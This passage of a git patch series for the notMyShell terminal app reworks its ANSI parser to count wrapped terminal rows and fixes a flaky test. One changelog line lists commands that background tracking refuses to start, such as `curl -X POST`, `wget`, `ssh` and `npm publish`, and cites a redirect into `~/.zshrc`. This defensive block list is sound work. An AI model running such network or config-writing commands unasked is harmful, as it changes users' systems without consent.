child still running finishes, reports the stall, and leaves nothing running (#415 CI)', async () => { + const fixture = mkdtempSync(join(tmpdir(), 'runner-')); + try { + const pidFile = join(fixture, 'child.pid'); + const stalled = join(fixture, 'stalled.test.mjs'); + // A piped child keeps the file's process alive after its test is cancelled: without teardown the run never ends. + writeFileSync(stalled, `import test from 'node:test'; import {spawn} from 'node:child_process'; import {writeFileSync} from 'node:fs'; +test('stalls past its timeout', {timeout: 300}, async () => { + const child = spawn('sleep', ['120'], {stdio: ['ignore', 'pipe', 'pipe']}); + writeFileSync(${JSON.stringify(pidFile)}, String(child.pid)); + await new Promise(() => {}); +});\n`); + const started = Date.now(); + const previous = process.env.NMSH_TEST_TEARDOWN_MS; + process.env.NMSH_TEST_TEARDOWN_MS = '500'; + let result; + try { result = await runTestFiles([stalled], [], {stdio: 'ignore'}); } + finally { if (previous === undefined) delete process.env.NMSH_TEST_TEARDOWN_MS; else process.env.NMSH_TEST_TEARDOWN_MS = previous; } + assert.equal(result.code, 1, 'the cancelled test is reported as a failure'); + assert.ok(Date.now() - started < 20_000, 'the run ends instead of waiting for the child'); + const pid = Number(fs.readFileSync(pidFile, 'utf8')); + assert.throws(() => process.kill(pid, 0), 'the child it left running was ended'); + } finally { rmSync(fixture, {recursive: true, force: true}); } +}); + test('sandbox disposal waits for an untracked late writer whose cwd still owns the sandbox', async () => { const sandbox = new LiveSandbox(); const child = spawn(process.execPath, ['-e', "setTimeout(() => require('node:fs').writeFileSync('late-journal.txt', 'done'), 150)"], From 25759cea376845d51afaddf7b3692f171031515a Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 17:05:36 +0530 Subject: [PATCH 032/157] Native capture test: bound the early-reap window, not the owner's cold start "native cancellation reaps a PTY before it can process the initialization command" failed once in a local verify:release (passes alone, and 40 of 40 under 10x parallel isolated runs): its 3 s wait for the inner shell also covered the owner process's cold `node --import=tsx` start compiling CompletionService's imports, which a full parallel suite can stretch past 3 s. The owner now marks when it is loaded; that gets a generous bound, and the 3 s bound starts there. Not reproduced in isolation; the full release run is the check. Refs #410 --- tests/nativeCaptureLifecycle.test.ts | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/tests/nativeCaptureLifecycle.test.ts b/tests/nativeCaptureLifecycle.test.ts index c6ff5207..475d29b7 100644 --- a/tests/nativeCaptureLifecycle.test.ts +++ b/tests/nativeCaptureLifecycle.test.ts @@ -55,7 +55,8 @@ test('native cancellation reaps a PTY before it can process the initialization c // The inner shell never reads the queued command that formerly recorded its PID. const module = new URL('../src/shell/CompletionService.ts', import.meta.url).href; const program = `import {NativeCompletionSource} from ${JSON.stringify(module)}; - import {existsSync} from 'node:fs'; + import {existsSync, writeFileSync} from 'node:fs'; + writeFileSync(${JSON.stringify(join(root, 'owner-ready'))}, ''); const controller = new AbortController(); const request = new NativeCompletionSource().query({buffer:'g',cwd:${JSON.stringify(root)}},controller.signal); while (!existsSync(${JSON.stringify(join(root, 'early-pid'))})) await new Promise(r=>setTimeout(r,5)); @@ -69,6 +70,9 @@ test('native cancellation reaps a PTY before it can process the initialization c }); let inner = 0; try { + // A cold `node --import=tsx` compiling CompletionService's imports is not what this test bounds; under a full parallel + // run it alone took more than three seconds. The tight bounds below start once the owner is running. + await until(() => existsSync(join(root, 'owner-ready')) || owner.exitCode !== null, 30_000, 'the owner process to load'); await until(() => { inner = publishedPid(join(root, 'early-pid')) ?? 0; return inner > 1; }, 3000, 'inner before initialization'); await until(() => owner.exitCode !== null || owner.signalCode !== null, 2000, 'cancelled owner'); assert.equal(owner.exitCode, 0); From 8bb9464c293d8e88214f362e46d6bcae80d9da64 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 17:17:08 +0530 Subject: [PATCH 033/157] #388: rows are the terminal's rows, so a redraw over a wrapped line never erases earlier output The live region (#412) moved the cursor by stored lines. Stored lines are logical, but programs count terminal rows: a progress display whose line is wider than the window (two rows at 40 columns) moved up three rows to redraw itself, NMSh moved up three lines, and `CSI J` erased the program's own log lines above the display, one more per frame. Reproduced in the parser, in a real zsh PTY at 40 columns, and through the frontend; the new tests fail on the previous parser. - The frontend reports the PTY's width (setScreenColumns). A line wider than it occupies several rows: cursor up/down, `ESC M/D/E` and line feed move by rows (the next row of a wrapped line, or the next line), within the same bounds. - Carriage return, backspace, `CSI G/C/D` and `CSI K` act on the cursor's row within its line; erasing never removes the row the cursor is on. The pending wrap after a row is filled exactly is tracked from the character that filled it. - A resize re-wraps stored lines at the new width, as a reflowing terminal does. - The contract stays deliberately limited and is now explicit and tested: absolute rows (`CSI H/f/d`) are not mapped (no cursor position reports are answered, so an inline program cannot know its rows); scroll regions are not emulated, except that text drawn below a region the program set (an installer's reserved status row) is not stored, so it cannot leak into the log rows. NMSh's own lines are never dropped. - Unknown width keeps the previous line-based behavior. Refs #388 --- CHANGELOG.md | 2 +- docs/design/v021-terminal-intelligence.md | 12 +- docs/testing/v021-physical-qa.md | 5 + src/app/TerminalApp.ts | 1 + src/output/AnsiOutputParser.ts | 189 ++++++++++++++++++---- src/output/OutputBuffer.ts | 5 + tests/ansiLiveRegion.test.ts | 119 ++++++++++++++ 7 files changed, 302 insertions(+), 31 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6162170d..c0d7aff0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -21,7 +21,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). ### Fixed -- Multi-line progress displays that redraw their own rows (cursor up and erase line, as concurrent downloads and container pulls do) now update in place instead of leaving a copy of every frame in the transcript ([#388](https://github.com/raiseCatError/notMyShell/issues/388)). A program can redraw only its own recent rows, at most a screen height up, never NMSh's lines or earlier commands; `/copy` copies the final rows once. Absolute cursor positioning keeps the previous behavior. +- Multi-line progress displays that redraw their own rows (cursor up and erase line, as concurrent downloads and container pulls do) now update in place instead of leaving a copy of every frame in the transcript ([#388](https://github.com/raiseCatError/notMyShell/issues/388)). A program can redraw only its own recent rows, at most a screen height up, never NMSh's lines or earlier commands; `/copy` copies the final rows once. Rows are the terminal's rows: a line wider than the window counts as the rows it occupies, so a display that redraws over its own wrapped line no longer erases the log lines above it at narrow widths. A status row an installer reserves below a scroll region is not written into the log. Absolute cursor positioning is not mapped. - A queued command whose command word was still being classified when the next prompt reported new shell knowledge no longer keeps the unclassified color ([#408](https://github.com/raiseCatError/notMyShell/issues/408)). - Paste review and `/track`: a redirect into a file is recognized wherever `>/dev/null` also appears (`echo x > ~/.zshrc 2>/dev/null` was labelled read-only), and `>|` is a redirection, not a pipe. - `/track` and `/watch` no longer start, without asking, commands that change things through the network or another command: `env `, `NAME=value` prefixes, git's `-c`/`--ext-diff`, `npm publish`/`login`/`x`, `pnpm dlx`, `ssh`, `curl -X POST`/`-d`/`-o file`, plain `wget`; options that write files (`git … --output`, `sort -o`, `jest -u`, `--fix`) are refused. Read-only probes (`ping`, `dig`, `nc -z`, a curl GET) still start at once, and `npm test 2>&1` is no longer refused as a background job ([#393](https://github.com/raiseCatError/notMyShell/issues/393)). diff --git a/docs/design/v021-terminal-intelligence.md b/docs/design/v021-terminal-intelligence.md index 860aaa04..d62f5e55 100644 --- a/docs/design/v021-terminal-intelligence.md +++ b/docs/design/v021-terminal-intelligence.md @@ -55,8 +55,16 @@ lines. Fix: a bounded **live region**: the cursor may move up and down only with never above the most recent NMSh-authored line or the command's start, and never more than the PTY's screen height (a terminal cannot address scrollback either). Supported: `CSI A/B/E/F` (cursor up/down/next/previous line), `ESC M`, `ESC D`, `ESC E`, save/restore (`ESC 7/8`, `CSI s/u`), `CSI J` 0/1 within the region, `CSI K` 0/1/2. -Absolute row addressing (`CSI H/f/d` with a row) is not mapped: inline programs cannot know where their rows are, so -it keeps today's behavior (appends), documented. Copy and search see what the terminal would show at the end; the +**Rows are the terminal's rows** (stabilization): once the frontend reports the PTY's width, a stored line wider than +it occupies several rows, so a program that counts the rows it drew (as progress libraries measure wrapping) moves +over exactly those rows. Moving by stored lines instead climbed past a wrapped line into the program's own earlier +output and erased it at narrow widths (reproduced, and in a real PTY at 40 columns). Carriage return, backspace, +`CSI G/C/D` and `CSI K` act on the cursor's row within its line; a resize re-wraps stored lines at the new width, as +a reflowing terminal does. The contract stays deliberately limited: absolute row addressing (`CSI H/f/d` with a row) +is not mapped, because inline programs cannot know where their rows are (cursor position reports are not answered), +so the cursor stays where it is; scroll regions (`CSI r`) are not emulated, except that text a program draws below a +region it set (a reserved status row, such as an installer's progress line) is not stored, so it cannot leak into the +log rows. Copy and search see what the terminal would show at the end; the intermediate frames are not kept, as a terminal's scrollback does not keep them. Raw events in the session spool are unchanged and replay through the same parser. Tests: single and multi-row redraws, interleaved stdout, split sequences, clamping at the fence, NMSh lines inserted mid-redraw, metadata never edited, a real-PTY run of the diff --git a/docs/testing/v021-physical-qa.md b/docs/testing/v021-physical-qa.md index 7dfc545c..98f81c59 100644 --- a/docs/testing/v021-physical-qa.md +++ b/docs/testing/v021-physical-qa.md @@ -36,6 +36,11 @@ - [ ] 1.3 Resize the window narrower and wider while 1.2 runs: no earlier command, prompt or NMSh notice is erased. - [ ] 1.4 `/copy` of that block copies the final rows once, not every frame. - [ ] 1.5 `printf '10%%\r20%%\r100%%\n'` still shows one `100%` line; `clear` still clears. +- [ ] 1.5a At 40 columns, a progress display whose line is wider than the window (for example `pip install` of a + large wheel, `cargo build` of a crate with a long name, or the wrapped-row fixture in `tests/ansiLiveRegion.test.ts`) + redraws in place and every log line printed before it stays. +- [ ] 1.5b On Linux, `sudo apt install ` (fancy progress on): the transcript keeps the dpkg log lines and + contains no `Progress: [ nn%]` fragments. - [ ] 1.6 `vim`, `less` and `htop` still take the full screen and return to the composer. - [ ] 1.7 Queue two quick commands (`ls` then `pwd`) with Ctrl+Q while a short command runs: both stored command lines end with the known-command color (#408). diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 9dd9eec2..c3126a5d 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -10577,6 +10577,7 @@ export class TerminalApp { this.lastPtyColumns = columns; this.session.resize(columns, plan.ptyRows); this.output.setScreenRows(plan.ptyRows); + this.output.setScreenColumns(columns); } const wrapped = this.output.wrapped(columns); diff --git a/src/output/AnsiOutputParser.ts b/src/output/AnsiOutputParser.ts index 7e0863dc..45916ba7 100644 --- a/src/output/AnsiOutputParser.ts +++ b/src/output/AnsiOutputParser.ts @@ -63,9 +63,20 @@ const DEFAULT_SCREEN_ROWS = 24; * the row the cursor is on. The cursor never moves above the fence (the line after the newest one NMSh wrote: a * command header, a notice, an earlier command) nor more than a screen height above the newest line, because a * terminal cannot address its scrollback either. So a multi-row progress display updates its rows instead of adding - * a copy of them per frame, and nothing outside the running program's own rows can be changed. Absolute row - * positioning (`CSI H/f/d` rows) is not mapped: an inline program cannot know where its rows are, so it keeps the - * previous behavior. The stored lines are what a terminal would show at the end; intermediate frames are not kept. + * a copy of them per frame, and nothing outside the running program's own rows can be changed. + * + * Rows are the terminal's rows. Stored lines are logical (a long line is one line), but once the owner reports the + * PTY's width a line wider than it occupies several rows, as on the screen: moving up three rows from below a + * two-row line lands on that line's first row, not on the line above it, so a program that counts the rows it drew + * redraws exactly them (moving by lines, it erased its own earlier output at narrow widths). Carriage return, + * backspace, `CSI G/C/D` and `CSI K` act on the row the cursor is on within its line. A resize re-wraps stored lines + * at the new width, as a reflowing terminal does. + * + * Deliberately not emulated: absolute row positioning (`CSI H/f/d` rows) is not mapped, because an inline program + * cannot know where its rows are (cursor position reports are not answered); the cursor stays where it is. Scroll + * regions (`CSI r`) are not emulated either, except that text a program draws below the region it set (a reserved + * status line, such as an installer's progress row) is not stored: it would otherwise be written into the log rows. + * The stored lines are what a terminal would show at the end; intermediate frames are not kept. */ export class AnsiOutputParser { readonly lines: StyledLine[] = []; @@ -75,6 +86,17 @@ export class AnsiOutputParser { /** The lowest row the program may address (see the live region). */ private fence = 0; private screenRows = DEFAULT_SCREEN_ROWS; + /** The PTY's columns, once reported: rows wrap at this width. Unknown (Infinity), each line is one row. */ + private screenColumns = Number.POSITIVE_INFINITY; + /** The bottom row of a scroll region the program set above the last row, if any (1-based). */ + private regionBottom?: number; + /** The cursor was moved below that region (a status row): what is drawn there is not stored. */ + private statusRow = false; + /** + * The column at which the last character filled its row exactly: the terminal keeps the cursor on that row (a + * pending wrap) until the next character. Any move to another column ends it. + */ + private pendingWrap?: number; /** DECSC / SCOSC saved cursor (row, column, and for ESC 7 the style). */ private saved?: {row: number; column: number; style?: string}; private column = 0; @@ -111,6 +133,11 @@ export class AnsiOutputParser { this.screenRows = Math.max(1, Math.min(1000, Math.floor(rows) || DEFAULT_SCREEN_ROWS)); } + /** The PTY's columns: the width at which a long line occupies more than one row. */ + setScreenColumns(columns: number): void { + this.screenColumns = Number.isFinite(columns) && columns >= 1 ? Math.min(10_000, Math.floor(columns)) : Number.POSITIVE_INFINITY; + } + /** * Program output from here on may redraw only rows from `index` (clamped to the stored lines); NMSh-written rows * and earlier commands stay out of reach. Used when a running command is resumed from a journal. @@ -126,21 +153,107 @@ export class AnsiOutputParser { return this.row < this.lines.length ? this.lines[this.row]! : this.current; } - /** The highest row the cursor may move to: the fence, or a screen height above the newest line. */ + /** The highest line the cursor may move to: the fence, or the line on the row a screen height above the newest. */ private get topRow(): number { - return Math.max(this.fence, this.lines.length - (this.screenRows - 1)); + if (!this.wraps) return Math.max(this.fence, this.lines.length - (this.screenRows - 1)); + let row = this.lines.length; + let used = this.rowsOf(row); + while (row > this.fence && used < this.screenRows) { row -= 1; used += this.rowsOf(row); } + return row; + } + + private get wraps(): boolean { return Number.isFinite(this.screenColumns); } + + private lineAt(row: number): StyledLine { return row < this.lines.length ? this.lines[row]! : this.current; } + + /** The rows a line occupies at the PTY's width (the cursor's line also counts the cursor). */ + private rowsOf(row: number): number { + const length = row === this.row ? Math.max(this.lineAt(row).length, this.column) : this.lineAt(row).length; + return Math.max(1, Math.ceil(length / this.screenColumns)); + } + + /** + * The row of its line the cursor is on. A row exactly filled leaves the cursor on it (the terminal's pending + * wrap) until the next character. + */ + private get subRow(): number { + if (!this.wraps) return 0; + const columns = this.screenColumns; + return this.column > 0 && this.column === this.pendingWrap ? this.column / columns - 1 : Math.floor(this.column / columns); + } + + /** Where the cursor's row starts, as a column of its line. */ + private get rowStart(): number { return this.wraps ? this.subRow * this.screenColumns : 0; } + + /** The cursor's column on its row (the last column while a wrap is pending). */ + private get screenColumn(): number { + return this.wraps ? Math.min(this.column - this.rowStart, this.screenColumns - 1) : this.column; } private moveRow(delta: number): void { this.row = Math.max(this.topRow, Math.min(this.lines.length, this.row + delta)); } - /** Line feed: down a row, or a new line at the bottom. */ - private lineFeed(): void { - if (this.row < this.lines.length) { this.row += 1; return; } - this.lines.push(this.current); - this.current = []; - this.row = this.lines.length; + /** Cursor up (negative) or down by terminal rows, keeping its column on the row (or going to the row's start). */ + private moveRows(delta: number, toRowStart = false): void { + if (!this.wraps) { + this.moveRow(delta); + if (toRowStart) this.column = 0; + return; + } + const columns = this.screenColumns; + const x = toRowStart ? 0 : this.screenColumn; + let row = this.row; + let sub = this.subRow; + if (delta < 0) { + // No higher than a screen above the newest row: count the rows from the cursor down to it. + let below = this.rowsOf(row) - 1 - sub; + for (let next = row + 1; next <= this.lines.length && below < this.screenRows; next += 1) below += this.rowsOf(next); + let steps = Math.min(-delta, Math.max(0, this.screenRows - 1 - below)); + while (steps > 0) { + if (sub > 0) sub -= 1; + else if (row > this.fence) { row -= 1; sub = this.rowsOf(row) - 1; } + else break; + steps -= 1; + } + } else { + let steps = delta; + while (steps > 0) { + if (sub < this.rowsOf(row) - 1) sub += 1; + else if (row < this.lines.length) { row += 1; sub = 0; } + else break; + steps -= 1; + } + } + this.row = row; + this.column = sub * columns + x; + } + + /** Line feed: down a row (the next row of a wrapped line, or the next line), or a new line at the bottom. */ + private lineFeed(carriageReturn: boolean): void { + this.statusRow = false; + const x = this.screenColumn; + if (this.wraps && this.subRow < this.rowsOf(this.row) - 1) { + this.column = (this.subRow + 1) * this.screenColumns + (carriageReturn ? 0 : x); + return; + } + if (this.row < this.lines.length) this.row += 1; + else { + this.lines.push(this.current); + this.current = []; + this.row = this.lines.length; + } + this.column = carriageReturn ? 0 : x; + } + + /** + * Shorten a line to `length`, but never past the start of the cursor's row: that row stays (blank) on the screen, + * so it stays in the row count. + */ + private truncate(line: StyledLine, length: number): void { + line.splice(length); + const start = this.rowStart; + if (start > 0 && line.length <= start) { line.length = start + 1; line[start] = undefined; } } /** NMSh wrote a line: the cursor returns below it and nothing at or above it can be redrawn. */ @@ -192,24 +305,23 @@ export class AnsiOutputParser { continue; } if (character === '\n') { - this.lineFeed(); - this.column = 0; + this.lineFeed(true); this.ending = true; index += 1; continue; } if (character === '\r') { - this.column = 0; + this.column = this.rowStart; index += 1; continue; } if (character === '\b') { - this.column = Math.max(0, this.column - 1); + this.column = Math.max(this.rowStart, this.column - 1); index += 1; continue; } if (character === '\t') { - const spaces = 8 - (this.column % 8); + const spaces = 8 - (this.screenColumn % 8); for (let count = 0; count < spaces; count += 1) { this.put(' ', 1); const cell = this.target[this.column - 1]!; @@ -242,6 +354,8 @@ export class AnsiOutputParser { addLine(text: string, style = ''): void { this.ensureLineBoundary(); + // NMSh's own line is never a program's status row. + this.statusRow = false; this.hyperlink = undefined; this.style = style; this.write(text); @@ -275,7 +389,9 @@ export class AnsiOutputParser { const oldRow = this.row; const oldFence = this.fence; const oldSaved = this.saved; + const oldStatusRow = this.statusRow; const oldLength = this.lines.length; + this.statusRow = false; this.current = []; this.column = 0; @@ -302,6 +418,7 @@ export class AnsiOutputParser { this.row = oldRow; this.fence = oldFence; this.saved = oldSaved; + this.statusRow = oldStatusRow; } completedCount(): number { @@ -422,13 +539,14 @@ export class AnsiOutputParser { // Two-byte escapes that move within the live region; others (keypad modes, RIS…) are dropped as before. if (kind === '7') this.saved = {row: this.row, column: this.column, style: this.style}; else if (kind === '8') this.restoreCursor(true); - else if (kind === 'M') this.moveRow(-1); - else if (kind === 'D') { this.lineFeed(); this.ending = true; } - else if (kind === 'E') { this.lineFeed(); this.column = 0; this.ending = true; } + else if (kind === 'M') this.moveRows(-1); + else if (kind === 'D') { this.lineFeed(false); this.ending = true; } + else if (kind === 'E') { this.lineFeed(true); this.ending = true; } return {complete: true, next: Math.min(input.length, start + 2)}; } private restoreCursor(withStyle: boolean): void { + this.statusRow = false; if (!this.saved) return; this.row = Math.max(this.topRow, Math.min(this.lines.length, this.saved.row)); this.column = this.saved.column; @@ -473,15 +591,27 @@ export class AnsiOutputParser { if (/^[<=>?]/u.test(params)) return; this.applySgr(params); } else if (final === 'K') { + if (this.statusRow) return; const line = this.target; const mode = values[0] ?? 0; - if (mode === 2) line.length = 0; - else if (mode === 1) { for (let position = 0; position <= this.column && position < line.length; position += 1) line[position] = undefined; } - else line.splice(this.column); + // The cursor's row only: a long line's other rows are other rows on the screen. + const start = this.rowStart; + const end = this.wraps ? start + this.screenColumns : Number.POSITIVE_INFINITY; + const from = mode === 0 ? this.column : start; + const to = mode === 1 ? Math.min(this.column + 1, end) : end; + if (to >= line.length && mode !== 1) this.truncate(line, from); + else for (let position = from; position < to && position < line.length; position += 1) line[position] = undefined; this.touch(line); } else if (plain && (final === 'A' || final === 'B' || final === 'E' || final === 'F')) { - this.moveRow(final === 'A' || final === 'F' ? -amount : amount); - if (final === 'E' || final === 'F') this.column = 0; + this.moveRows(final === 'A' || final === 'F' ? -amount : amount, final === 'E' || final === 'F'); + } else if (plain && final === 'r') { + // A scroll region ending above the last row reserves the rows below it (see statusRow); the region is not emulated. + const bottom = values[1] ?? 0; + this.regionBottom = bottom > 0 && bottom < this.screenRows ? bottom : undefined; + if (this.regionBottom === undefined) this.statusRow = false; + } else if (plain && (final === 'H' || final === 'f' || final === 'd')) { + // Absolute rows are not mapped (see the class comment); only a move below the program's scroll region matters. + this.statusRow = this.regionBottom !== undefined && (values[0] || 1) > this.regionBottom; } else if (plain && params === '' && final === 's') { this.saved = {row: this.row, column: this.column}; } else if (plain && params === '' && final === 'u') { @@ -489,11 +619,11 @@ export class AnsiOutputParser { } else if (plain && final === 'J' && (values[0] ?? 0) <= 1) { this.eraseDisplay(values[0] ?? 0); } else if (final === 'G') { - this.column = Math.max(0, amount - 1); + this.column = this.rowStart + (this.wraps ? Math.min(amount - 1, this.screenColumns - 1) : amount - 1); } else if (final === 'C') { - this.column += amount; + this.column = this.wraps ? this.rowStart + Math.min(this.screenColumns - 1, this.screenColumn + amount) : this.column + amount; } else if (final === 'D') { - this.column = Math.max(0, this.column - amount); + this.column = this.rowStart + Math.max(0, this.screenColumn - amount); } else if (final === 'J') { if (amount === 2 || amount === 3) { this.lines.length = 0; @@ -509,12 +639,14 @@ export class AnsiOutputParser { private put(text: string, width: number): void { this.ending = false; + if (this.statusRow) return; const line = this.target; for (let position = 0; position < width; position += 1) line[this.column + position] = undefined; line[this.column] = {text, width, style: this.style, ...(this.hyperlink ? {hyperlink: this.hyperlink, ...(this.authoring ? {authored: true as const} : {})} : {})}; this.touch(); for (let position = 1; position < width; position += 1) line[this.column + position] = null; this.column += width; + this.pendingWrap = this.wraps && this.column % this.screenColumns === 0 ? this.column : undefined; } private touch(line: StyledLine = this.target): void { revisions.set(line, lineRevision(line) + 1); } @@ -530,9 +662,10 @@ export class AnsiOutputParser { /** Erase in display within the live region: 0 below the cursor, 1 above it. */ private eraseDisplay(mode: number): void { + if (this.statusRow) return; const line = this.target; if (mode === 0) { - line.splice(this.column); + this.truncate(line, this.column); if (this.row < this.lines.length) { // The cursor's row becomes the newest line; the program's rows below it are gone, as on the screen. this.current = line; diff --git a/src/output/OutputBuffer.ts b/src/output/OutputBuffer.ts index 0b42aabf..4ac1211d 100644 --- a/src/output/OutputBuffer.ts +++ b/src/output/OutputBuffer.ts @@ -376,6 +376,11 @@ export class OutputBuffer { this.parser.setScreenRows(rows); } + /** The PTY's columns: a program's long lines occupy rows at this width when it moves its cursor over them. */ + setScreenColumns(columns: number): void { + this.parser.setScreenColumns(columns); + } + updateCommandHighlight(startId: number, formattedLines: string[]): void { for (let i = 0; i < formattedLines.length; i++) { this.parser.replaceLine(startId + i, formattedLines[i] ?? ''); diff --git a/tests/ansiLiveRegion.test.ts b/tests/ansiLiveRegion.test.ts index 08281714..64c267d9 100644 --- a/tests/ansiLiveRegion.test.ts +++ b/tests/ansiLiveRegion.test.ts @@ -7,6 +7,7 @@ import {join} from 'node:path'; import {AnsiOutputParser, plainLine} from '../src/output/AnsiOutputParser.js'; import {OutputBuffer} from '../src/output/OutputBuffer.js'; import {ShellSession} from '../src/shell/ShellSession.js'; +import {LiveSandbox, until} from './helpers/liveFrontend.js'; /** * #388: programs that redraw several of their own rows in place (multi-line progress) update those rows instead of @@ -90,6 +91,79 @@ test('absolute row positioning is not mapped: it appends as before instead of gu assert.deepEqual(plain(parser), ['a', 'b', 'c']); }); +/** An indicatif-style display: it moves up by the terminal rows it drew (it measures wrapping), erases below, redraws. */ +function wrappedProgress(columns: number, frames = 10): string { + const bar = (n: number) => `Downloading big-archive-name.tar.gz [${'='.repeat(n)}${' '.repeat(frames - n)}] ${n * 10}%`; + const rowsOf = (text: string) => Math.max(1, Math.ceil(text.length / columns)); + let out = 'LOG kept line one\r\nLOG kept line two\r\n'; + let drawn = 0; + for (let n = 0; n <= frames; n += 1) { + if (drawn) out += `\r${up(drawn)}${ESC}[J`; + const frame = [bar(n), `eta ${frames - n}s`]; + out += `${frame.join('\r\n')}\r\n`; + drawn = frame.reduce((sum, line) => sum + rowsOf(line), 0); + } + return `${out}LOG done\r\n`; +} + +test('rows are the terminal\'s rows: a display that moves over its own wrapped line never erases earlier output', () => { + const parser = new AnsiOutputParser(); + parser.setScreenRows(24); + parser.setScreenColumns(40); + parser.write(wrappedProgress(40)); + assert.deepEqual(plain(parser), ['LOG kept line one', 'LOG kept line two', 'Downloading big-archive-name.tar.gz [==========] 100%', 'eta 0s', 'LOG done']); + // The same bytes at a width where nothing wraps behave the same. + const wide = new AnsiOutputParser(); + wide.setScreenRows(24); + wide.setScreenColumns(120); + wide.write(wrappedProgress(120)); + assert.deepEqual(plain(wide), plain(parser)); +}); + +test('on a wrapped line, carriage return, erase-line and line feed act on the cursor\'s row, as on the screen', () => { + const parser = new AnsiOutputParser(); + parser.setScreenColumns(10); + parser.write('0123456789abcdefghij'); // two rows, cursor at the end (pending wrap) + parser.write('\rABC'); // back to the start of the second row + assert.deepEqual(plain(parser), ['0123456789ABCdefghij']); + parser.write(`${up(1)}${ESC}[2K`); // up to the first row and clear that row only + assert.deepEqual(plain(parser), [' ABCdefghij']); + parser.write('\r\nxy'); // line feed from the first row goes to the line's second row + assert.deepEqual(plain(parser), [' xyCdefghij']); + parser.write(`\r${ESC}[K`); // erase to the end of the second row: the row stays, blank + parser.write(`${up(1)}first\r\nnext\r\n`); + // The second row is still the same (wrapped) line, as on the screen: drawn at 10 columns it reads "first" / "next". + assert.deepEqual(plain(parser), ['first next']); +}); + +test('a resize re-wraps: the rows a program counts at the new width are the ones it reaches', () => { + const parser = new AnsiOutputParser(); + parser.setScreenColumns(40); + parser.write('kept\r\n'); + parser.write(`${'x'.repeat(30)}\r\n`); + parser.setScreenColumns(20); // the 30-column line now takes two rows + parser.write(`${up(2)}${ESC}[J${'y'.repeat(5)}\r\n`); + assert.deepEqual(plain(parser), ['kept', 'yyyyy']); +}); + +test('a status row below a scroll region the program set is not stored; NMSh lines and log rows are', () => { + const parser = new AnsiOutputParser(); + parser.setScreenRows(24); + parser.setScreenColumns(80); + const status = (percent: number) => `${ESC}7${ESC}[24;0f${ESC}[42mProgress: [${percent}%]${ESC}[0m${ESC}8`; + parser.write(`\r\n${ESC}7${ESC}[0;23r${ESC}8${up(1)}`); + for (let step = 1; step <= 3; step += 1) parser.write(`Unpacking package-${step}\r\n${status(step * 30)}`); + parser.addLine('NMSh note while the status row is reserved'); + parser.write(`Setting up package-3\r\n${ESC}7${ESC}[0;24r${ESC}8${ESC}[J`); + const lines = plain(parser); + assert.equal(lines.some(line => /Progress/u.test(line)), false, 'the status row never enters the transcript'); + assert.deepEqual(lines.filter(line => line), ['Unpacking package-1', 'Unpacking package-2', 'Unpacking package-3', 'NMSh note while the status row is reserved', 'Setting up package-3']); + // Without a region, an absolute move is not mapped: the text stays where the cursor is. + const plainParser = new AnsiOutputParser(); + plainParser.write(`a\r\n${ESC}[5;1Hb\r\n`); + assert.deepEqual(plain(plainParser), ['a', 'b']); +}); + test('a resumed command keeps redrawing its own rows, and a command-line recolor never moves its cursor', () => { const buffer = new OutputBuffer(); const startId = buffer.beginCommand('pull', ['$ pull']); @@ -119,6 +193,33 @@ test('ten thousand frames of a three-row display stay three rows and parse in bo assert.ok(elapsed < 5000, `took ${Math.round(elapsed)}ms`); }); +test('a real PTY at 40 columns: a display that counts its wrapped rows keeps the log lines above it', {timeout: 60_000}, async () => { + const home = realpathSync(mkdtempSync(join(tmpdir(), 'nmsh-wrapped-'))); + const shell = new ShellSession(home, 40, 30, home, {...process.env, HOME: home}); + let output = ''; + try { + await once(shell, 'prompt'); + shell.on('data', data => { output += data; }); + const done = once(shell, 'prompt'); + // The program measures its rows with the PTY's own width, as progress libraries do. + const script = 'const c=process.stdout.columns,r=t=>Math.max(1,Math.ceil(t.length/c));let d=0;process.stdout.write("LOG one\\nLOG two\\n");' + + 'for(let n=0;n<=10;n++){if(d)process.stdout.write("\\r\\x1b["+d+"A\\x1b[J");const f=["Downloading big-archive-name.tar.gz ["+"=".repeat(n)+" ".repeat(10-n)+"]","eta "+(10-n)+"s"];' + + 'process.stdout.write(f.join("\\n")+"\\n");d=f.reduce((s,l)=>s+r(l),0)}process.stdout.write("LOG done\\n")'; + shell.submit(`${JSON.stringify(process.execPath)} -e '${script}'`); + await done; + const parser = new AnsiOutputParser(); + parser.setScreenRows(30); + parser.setScreenColumns(40); + parser.write(output); + const lines = plain(parser); + assert.ok(lines.includes('LOG one') && lines.includes('LOG two') && lines.includes('LOG done'), lines.join('\n')); + assert.deepEqual(lines.filter(line => line.startsWith('Downloading')), ['Downloading big-archive-name.tar.gz [==========]']); + } finally { + shell.kill(); + rmSync(home, {recursive: true, force: true, maxRetries: 5, retryDelay: 100}); + } +}); + test('a real PTY: the #388 fixture run by zsh leaves one progress line', {timeout: 60_000}, async () => { const home = realpathSync(mkdtempSync(join(tmpdir(), 'nmsh-redraw-'))); const shell = new ShellSession(home, 100, 30, home, {...process.env, HOME: home}); @@ -139,3 +240,21 @@ test('a real PTY: the #388 fixture run by zsh leaves one progress line', {timeou rmSync(home, {recursive: true, force: true, maxRetries: 5, retryDelay: 100}); } }); + +test('live: through the real frontend at 40 columns, the wrapped display redraws in place and the log lines stay in the transcript', {timeout: 120_000}, async () => { + const sandbox = new LiveSandbox({provider: 'none', shellBackend: 'zsh'}); + const frontend = sandbox.launch([], {cols: 40, rows: 30}); + try { + await frontend.waitFor(/❯/u); + await frontend.run('echo READY', /READY/u); + const script = 'const c=process.stdout.columns,r=t=>Math.max(1,Math.ceil(t.length/c));let d=0;process.stdout.write("LOG one\\nLOG two\\n");' + + 'for(let n=0;n<=10;n++){if(d)process.stdout.write("\\r\\x1b["+d+"A\\x1b[J");const f=["Downloading big-archive-name.tar.gz ["+"=".repeat(n)+" ".repeat(10-n)+"]","eta "+(10-n)+"s"];' + + 'process.stdout.write(f.join("\\n")+"\\n");d=f.reduce((s,l)=>s+r(l),0)}process.stdout.write("LOG done\\n")'; + await 